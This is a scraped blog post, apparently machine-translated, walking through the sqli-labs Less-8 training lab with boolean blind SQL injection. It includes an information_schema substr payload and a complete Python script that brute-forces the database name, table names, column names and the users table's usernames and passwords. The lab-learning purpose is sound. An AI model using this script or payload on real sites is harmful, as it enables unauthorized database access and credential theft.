当前位置:网站首页>sqlilabs less-8
sqlilabs less-8
2022-07-01 14:06:00 【It's always late at night.】
First judge whether it is a number or a character 

It's still OK to add characters to numbers , It's character type . Try again to construct . Because this time, it will only return whether it is correct or not , So consider blind injection .
First judge the length of the database 
Then judge the database name

It used to
substr( Content ,n,m) From the content of the first n Bit interception m individual length() There is another key sql sentence
?id=1’ and
substr((select group_concat(table_name) from information_schema.tables
where table_schema =database() ),1,1)=‘u’–+
The workload is a little heavy , You can consider burp suite Or use a script
import requests
url = 'http://localhost/sqlilabs/Less-8/?id=1\''
datalens = 0
datanamee = ''
sign = "You are in..........."
tablename = ''
columnlist = ''
list1= ['id','username','password','user','currentconnections','totalconnections']
valuelist = ''
# Database length
for i in range(10):
rl = str(i)
lenurl = url + "and length(database())=" + rl + "--+"
r = requests.get(lenurl)
if sign in r.text:
print("database len " + str(i))
datalens = i + 1
# Database name
wordlist = "abcdefghijklmnopqrstuvwxyz"
for i in range(1,datalens):
dataname = url + "and substr(database()," + str(i) + "," +"1)"
for w in wordlist:
datanames = dataname + "=" + "'" + w + "'" + "--+"
r = requests.get(datanames)
if sign in r.text:
datanamee += w
print("database name " + datanamee)
# Database table name
wordlist2 = "abcdefghijklmnopqrstuvwxyz,"
for i in range(1,100):
tableurl1 = url + " and substr((select group_concat(table_name) from information_schema.tables where table_schema = database())," + str(i) + ",1)="
for v in wordlist2:
tableurl = tableurl1 + "\'" + v + "\'" + "--+"
r = requests.get(tableurl)
if sign in r.text:
tablename += v
print("database table " + tablename)
# Database field name
for i in range(1,100):
columnurl1 = url + " and substr((select group_concat(column_name) from information_schema.columns where table_name = \'users\' )," + str(i) + ",1)="
for v in wordlist2:
columnurl = columnurl1 + "\'" + v + "\'" + "--+"
r = requests.get(columnurl)
if sign in r.text:
columnlist += v
print("database colum " + columnlist)
print(list1)
# Database tuple
wordlist2 = "0123456789abcdefghijklmnopqrstuvwxyz,=-_/\\."
for n in range(6):
for i in range(1,200):
valueurl1 = url + " and substr((select group_concat(" + list1[n] + ") from users )," + str(i) + ",1)="
for v in wordlist2:
valueurl = valueurl1 + "\'" + v + "\'" + "--+"
r = requests.get(valueurl)
if sign in r.text:
valuelist += v
print("database " + list1[n] + ' ' + valuelist)
valuelist = ''

There for all to see , Bloggers are too weak to program , To be improved .
边栏推荐
- 【IoT毕设.上】STM32+机智云AIoT+实验室安全监控系统
- Build your own website (21)
- Self cultivation of open source programmers who contributed tens of millions of lines of code to shardingsphere and later became CEO
- 【剑指 Offer】55 - II. 平衡二叉树
- [241. Design priority for operation expression]
- 2. Sensor size "recommended collection"
- [anwangbei 2021] Rev WP
- Station B was scolded on the hot search..
- Play with grpc - communication between different programming languages
- 【剑指Offer】54. 二叉搜索树的第k大节点
猜你喜欢

【IoT毕设.上】STM32+机智云AIoT+实验室安全监控系统

2022 · 让我带你Jetpack架构组件从入门到精通 — Lifecycle

原来程序员搞私活这么赚钱?真的太香了

Admire, Ali female program undercover more than 500 black production groups

AnimeSR:可学习的降质算子与新的真实世界动漫VSR数据集

既不是研发顶尖高手,也不是销售大牛,为何偏偏获得 2 万 RMB 的首个涛思文化奖?

队列的基本操作(C语言实现)

Error:Kotlin: Module was compiled with an incompatible version of Kotlin. The binary version of its

【241. 为运算表达式设计优先级】

玩转gRPC—不同编程语言间通信
随机推荐
Solution to 0xc000007b error when running the game [easy to understand]
当主程架构游戏的时候,防止到处调用减少耦合性,怎么开放接口给其他人调用呢?
[repair version] imitating the template of I love watching movies website / template of ocean CMS film and television system
【剑指 Offer】55 - II. 平衡二叉树
[IOT design. Part I] stm32+ smart cloud aiot+ laboratory security monitoring system
进入前六!博云在中国云管理软件市场销量排行持续上升
原来程序员搞私活这么赚钱?真的太香了
How to pass array parameters in get request
2. Sensor size "recommended collection"
Self cultivation of open source programmers who contributed tens of millions of lines of code to shardingsphere and later became CEO
【NLP】预训练模型——GPT1
小程序- view中多个text换行
MySQL日志
Detailed explanation of leetcode reconstruction binary tree [easy to understand]
2022. Let me take you from getting started to mastering jetpack architecture components - lifecycle
【修复版】仿我爱看电影网站模板/海洋CMS影视系统模板
玩转MongoDB—搭建MongoDB集群
How can we protect our passwords?
算网融合赋能行业转型,移动云点亮数智未来新路标
SWT / anr problem - how to open binder trace (bindertraces) when sending anr / SWT